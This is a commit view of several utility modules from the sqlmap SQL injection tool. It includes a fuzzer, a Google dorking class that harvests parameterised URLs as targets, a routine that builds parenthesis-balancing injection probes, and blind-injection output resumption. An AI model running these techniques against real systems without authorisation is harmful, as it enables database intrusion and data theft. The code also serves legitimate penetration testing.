mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-15 12:19:03 +00:00
After the storm, a restore..
This commit is contained in:
25
lib/utils/__init__.py
Normal file
25
lib/utils/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
43
lib/utils/fuzzer.py
Normal file
43
lib/utils/fuzzer.py
Normal file
@@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: fuzzer.py 247 2008-07-19 23:07:26Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def passiveFuzzing():
|
||||
logMsg = "executing passive fuzzing to retrieve DBMS error messages"
|
||||
logger.info(logMsg)
|
||||
|
||||
fuzzVectors = open(paths.FUZZ_VECTORS, "r")
|
||||
|
||||
for fuzzVector in fuzzVectors:
|
||||
fuzzVector = fuzzVector.replace("\r", "").replace("\n", "")
|
||||
|
||||
payload = agent.payload(newValue=fuzzVector)
|
||||
Request.queryPage(payload)
|
||||
122
lib/utils/google.py
Normal file
122
lib/utils/google.py
Normal file
@@ -0,0 +1,122 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: google.py 330 2008-08-28 21:25:48Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import cookielib
|
||||
import re
|
||||
import urllib2
|
||||
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapRegExprException
|
||||
|
||||
|
||||
class Google:
|
||||
"""
|
||||
This class defines methods used to perform Google dorking (command
|
||||
line option '-g <google dork>'
|
||||
"""
|
||||
|
||||
def __init__(self, proxyHandler):
|
||||
self.__googleCookie = None
|
||||
self.__matches = []
|
||||
self.__cj = cookielib.LWPCookieJar()
|
||||
self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj))
|
||||
self.opener.addheaders = conf.httpHeaders
|
||||
|
||||
|
||||
def __parsePage(self, page):
|
||||
"""
|
||||
Parse Google dork search results page to get the list of
|
||||
HTTP addresses
|
||||
"""
|
||||
|
||||
matches = []
|
||||
|
||||
regExpr = "class=r\076\074a href=\042(http[s]*://.+?)\042\sclass=l"
|
||||
matches = re.findall(regExpr, page, re.I | re.M)
|
||||
|
||||
return matches
|
||||
|
||||
|
||||
def getTargetUrls(self):
|
||||
"""
|
||||
This method returns the list of hosts with parameters out of
|
||||
your Google dork search results
|
||||
"""
|
||||
|
||||
targetUrls = set()
|
||||
|
||||
for match in self.__matches:
|
||||
if re.search("(.*?)\?(.+)", match, re.I):
|
||||
targetUrls.add(match)
|
||||
|
||||
return targetUrls
|
||||
|
||||
|
||||
def getCookie(self):
|
||||
"""
|
||||
This method is the first to be called when initializing a
|
||||
Google dorking object through this library. It is used to
|
||||
retrieve the Google session cookie needed to perform the
|
||||
further search
|
||||
"""
|
||||
|
||||
try:
|
||||
conn = self.opener.open("http://www.google.com/ncr")
|
||||
headers = conn.info()
|
||||
except urllib2.HTTPError, e:
|
||||
headers = e.info()
|
||||
except urllib2.URLError, e:
|
||||
errMsg = "unable to connect to Google"
|
||||
raise sqlmapConnectionException, errMsg
|
||||
|
||||
|
||||
def search(self, googleDork):
|
||||
"""
|
||||
This method performs the effective search on Google providing
|
||||
the google dork and the Google session cookie
|
||||
"""
|
||||
|
||||
if not googleDork:
|
||||
return None
|
||||
|
||||
url = "http://www.google.com/search?"
|
||||
url += "q=%s&" % urlencode(googleDork)
|
||||
url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
|
||||
|
||||
try:
|
||||
conn = self.opener.open(url)
|
||||
page = conn.read()
|
||||
except urllib2.HTTPError, e:
|
||||
page = e.read()
|
||||
except urllib2.URLError, e:
|
||||
errMsg = "unable to connect to Google"
|
||||
raise sqlmapConnectionException, errMsg
|
||||
|
||||
self.__matches = self.__parsePage(page)
|
||||
|
||||
return self.__matches
|
||||
80
lib/utils/parenthesis.py
Normal file
80
lib/utils/parenthesis.py
Normal file
@@ -0,0 +1,80 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: parenthesis.py 357 2008-09-21 18:52:16Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.session import setParenthesis
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def checkForParenthesis():
|
||||
"""
|
||||
This method checks if the SQL injection affected parameter
|
||||
is within the parenthesis.
|
||||
"""
|
||||
|
||||
if kb.parenthesis != None:
|
||||
return kb.parenthesis
|
||||
|
||||
logMsg = "testing for parenthesis on injectable parameter"
|
||||
logger.info(logMsg)
|
||||
|
||||
count = 0
|
||||
|
||||
for parenthesis in range(1, 4):
|
||||
query = agent.prefixQuery("%s " % (")" * parenthesis))
|
||||
query += "AND %s" % ("(" * parenthesis)
|
||||
|
||||
randInt = randomInt()
|
||||
randStr = randomStr()
|
||||
|
||||
if kb.injType == "numeric":
|
||||
query += "%d=%d" % (randInt, randInt)
|
||||
elif kb.injType == "stringsingle":
|
||||
query += "'%s'='%s" % (randStr, randStr)
|
||||
elif kb.injType == "likesingle":
|
||||
query += "'%s' LIKE '%s" % (randStr, randStr)
|
||||
elif kb.injType == "stringdouble":
|
||||
query += "\"%s\"=\"%s" % (randStr, randStr)
|
||||
elif kb.injType == "likedouble":
|
||||
query += "\"%s\" LIKE \"%s" % (randStr, randStr)
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unsupported injection type"
|
||||
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == kb.defaultResult:
|
||||
count = parenthesis
|
||||
|
||||
logMsg = "the injectable parameter requires %d parenthesis" % count
|
||||
logger.info(logMsg)
|
||||
|
||||
setParenthesis(count)
|
||||
184
lib/utils/resume.py
Normal file
184
lib/utils/resume.py
Normal file
@@ -0,0 +1,184 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: resume.py 294M 2008-10-14 23:49:41Z (local) $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.techniques.inference.blind import bisection
|
||||
|
||||
|
||||
def queryOutputLength(expression, payload):
|
||||
"""
|
||||
Returns the query output length.
|
||||
"""
|
||||
|
||||
lengthQuery = queries[kb.dbms].length
|
||||
|
||||
select = re.search("\ASELECT\s+", expression, re.I)
|
||||
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
||||
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
|
||||
selectExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
|
||||
miscExpr = re.search("\A(.+)", expression, re.I)
|
||||
|
||||
if selectTopExpr or selectDistinctExpr or selectExpr:
|
||||
if selectTopExpr:
|
||||
regExpr = selectTopExpr.groups()[0]
|
||||
elif selectDistinctExpr:
|
||||
regExpr = selectDistinctExpr.groups()[0]
|
||||
elif selectExpr:
|
||||
regExpr = selectExpr.groups()[0]
|
||||
elif miscExpr:
|
||||
regExpr = miscExpr.groups()[0]
|
||||
|
||||
if ( select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I) ) or len(regExpr) <= 1:
|
||||
return None, None, None
|
||||
|
||||
if select:
|
||||
lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1)
|
||||
else:
|
||||
lengthExpr = lengthQuery % expression
|
||||
|
||||
infoMsg = "retrieving the length of query output"
|
||||
logger.info(infoMsg)
|
||||
|
||||
output = resume(lengthExpr, payload)
|
||||
|
||||
if output:
|
||||
return 0, output, regExpr
|
||||
|
||||
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr))
|
||||
|
||||
lengthExprUnescaped = unescaper.unescape(lengthExpr)
|
||||
count, length = bisection(payload, lengthExprUnescaped)
|
||||
|
||||
if length == " ":
|
||||
length = 0
|
||||
|
||||
return count, length, regExpr
|
||||
|
||||
|
||||
def resume(expression, payload):
|
||||
"""
|
||||
This function can be called to resume part or entire output of a
|
||||
SQL injection query output.
|
||||
"""
|
||||
|
||||
condition = (
|
||||
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
||||
and expression in kb.resumedQueries[conf.url].keys()
|
||||
)
|
||||
|
||||
if not condition:
|
||||
return None
|
||||
|
||||
resumedValue = kb.resumedQueries[conf.url][expression]
|
||||
|
||||
if not resumedValue:
|
||||
return None
|
||||
|
||||
if resumedValue[-1] == "]":
|
||||
resumedValue = resumedValue[:-1]
|
||||
|
||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||
logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S)
|
||||
|
||||
if logValue:
|
||||
logValue = ", ".join([value.replace("__DEL__", ", ") for value in logValue])
|
||||
else:
|
||||
logValue = resumedValue
|
||||
|
||||
if "\n" in logValue:
|
||||
infoMsg += "%s..." % logValue.split("\n")[0]
|
||||
else:
|
||||
infoMsg += logValue
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
return resumedValue
|
||||
|
||||
# If we called this function without providing a payload it means that
|
||||
# we have called it from lib/request/inject __goInband() function
|
||||
# in UNION SELECT (inband) SQL injection so we return to the calling
|
||||
# function so that the query output will be retrieved taking advantage
|
||||
# of the inband SQL injection vulnerability.
|
||||
if not payload:
|
||||
return None
|
||||
|
||||
expressionUnescaped = unescaper.unescape(expression)
|
||||
substringQuery = queries[kb.dbms].substring
|
||||
select = re.search("\ASELECT ", expression, re.I)
|
||||
|
||||
_, length, regExpr = queryOutputLength(expression, payload)
|
||||
|
||||
if not length:
|
||||
return None
|
||||
|
||||
if len(resumedValue) == int(length):
|
||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||
infoMsg += "%s" % resumedValue.split("\n")[0]
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.sessionFile:
|
||||
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))
|
||||
|
||||
return resumedValue
|
||||
elif len(resumedValue) < int(length):
|
||||
infoMsg = "resumed from file '%s': " % conf.sessionFile
|
||||
infoMsg += "%s..." % resumedValue.split("\n")[0]
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.sessionFile:
|
||||
dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))
|
||||
|
||||
if select:
|
||||
newExpr = expressionUnescaped.replace(regExpr, substringQuery % (regExpr, len(resumedValue) + 1, int(length)), 1)
|
||||
else:
|
||||
newExpr = substringQuery % (expressionUnescaped, len(resumedValue) + 1, int(length))
|
||||
|
||||
missingCharsLength = int(length) - len(resumedValue)
|
||||
|
||||
infoMsg = "retrieving pending %d query " % missingCharsLength
|
||||
infoMsg += "output characters"
|
||||
logger.info(infoMsg)
|
||||
|
||||
_, finalValue = bisection(payload, newExpr, length=missingCharsLength)
|
||||
|
||||
if len(finalValue) != ( int(length) - len(resumedValue) ):
|
||||
warnMsg = "the total length of the query is not "
|
||||
warnMsg += "right, sqlmap is going to retrieve the "
|
||||
warnMsg += "query value from the beginning now"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
return "%s%s" % (resumedValue, finalValue)
|
||||
|
||||
return None
|
||||
Reference in New Issue
Block a user